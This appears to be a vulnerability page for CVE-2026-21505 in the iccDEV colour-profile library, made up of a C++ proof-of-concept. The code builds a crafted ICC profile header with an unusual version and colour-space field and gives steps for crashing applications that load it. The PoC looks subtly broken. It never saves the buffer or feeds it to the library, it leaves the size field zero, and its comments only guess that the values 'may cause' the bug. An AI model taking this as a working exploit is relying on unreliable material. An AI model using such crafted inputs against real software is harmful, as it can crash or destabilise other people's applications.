CVE-2026-21505 iccDEV无效枚举值导致未定义行为漏洞

// CVE-2026-21505 PoC - Malformed ICC Profile Triggering Invalid Enum Value // This PoC demonstrates the vulnerability in iccDEV < 2.3.1.2 // The vulnerability allows undefined behavior due to invalid enum value handling #include <cstdio> #include <cstdlib> #include <cstring> // ICC Profile Header Structure (simplified) struct ICCProfileHeader { uint32_t size; // Profile size uint32_t cmmType; // CMM signature uint32_t profileVersion; // Profile version uint32_t profileClass; // Device class uint32_t colorSpace; // Color space uint32_t pcs; // PCS (Profile Connection Space) uint32_t creationDateTime[3]; // Creation date/time uint32_t signature; // 'acsp' signature uint32_t primaryPlatform; // Primary platform uint32_t profileFlags; // Profile flags uint32_t manufacturer; // Device manufacturer uint32_t model; // Device model uint32_t deviceAttributes; // Device attributes uint32_t renderingIntent; // Rendering intent // ... other fields }; // Malicious profile creator that triggers invalid enum value unsigned char* createMaliciousICCProfile() { // Allocate buffer for ICC profile unsigned char* profile = new unsigned char[128]; memset(profile, 0, 128); // Set valid header signature 'acsp' profile[36] = 'a'; profile[37] = 'c'; profile[38] = 's'; profile[39] = 'p'; // Set profile version to trigger edge case in enum handling // Version 0x05000000 or similar may cause invalid enum conversion profile[8] = 0x05; // Major version profile[9] = 0x00; // Minor version profile[10] = 0x00; // Bug fix version profile[11] = 0x00; // Set color space to trigger enum handling path // Using a value that causes enum range issues in version parsing profile[16] = 0x00; profile[17] = 0x00; profile[18] = 0x00; profile[19] = 0x00; // May cause invalid enum conversion return profile; } int main(int argc, char* argv[]) { printf("CVE-2026-21505 PoC - iccDEV Invalid Enum Value\n"); printf("This PoC creates a malformed ICC profile that triggers\n"); printf("undefined behavior in iccDEV < 2.3.1.2\n\n"); unsigned char* maliciousProfile = createMaliciousICCProfile(); printf("Malicious ICC profile created at %p\n", maliciousProfile); printf("Profile size: 128 bytes\n"); printf("Header signature: acsp\n"); printf("Profile version: 5.0.0 (triggers enum edge case)\n"); printf("\nTo trigger vulnerability:\n"); printf("1. Load this profile using iccDEV library < 2.3.1.2\n"); printf("2. The library will attempt to convert version to enum\n"); printf("3. Invalid enum value causes undefined behavior\n"); printf("4. Result: Application crash or unpredictable behavior\n"); delete[] maliciousProfile; return 0; }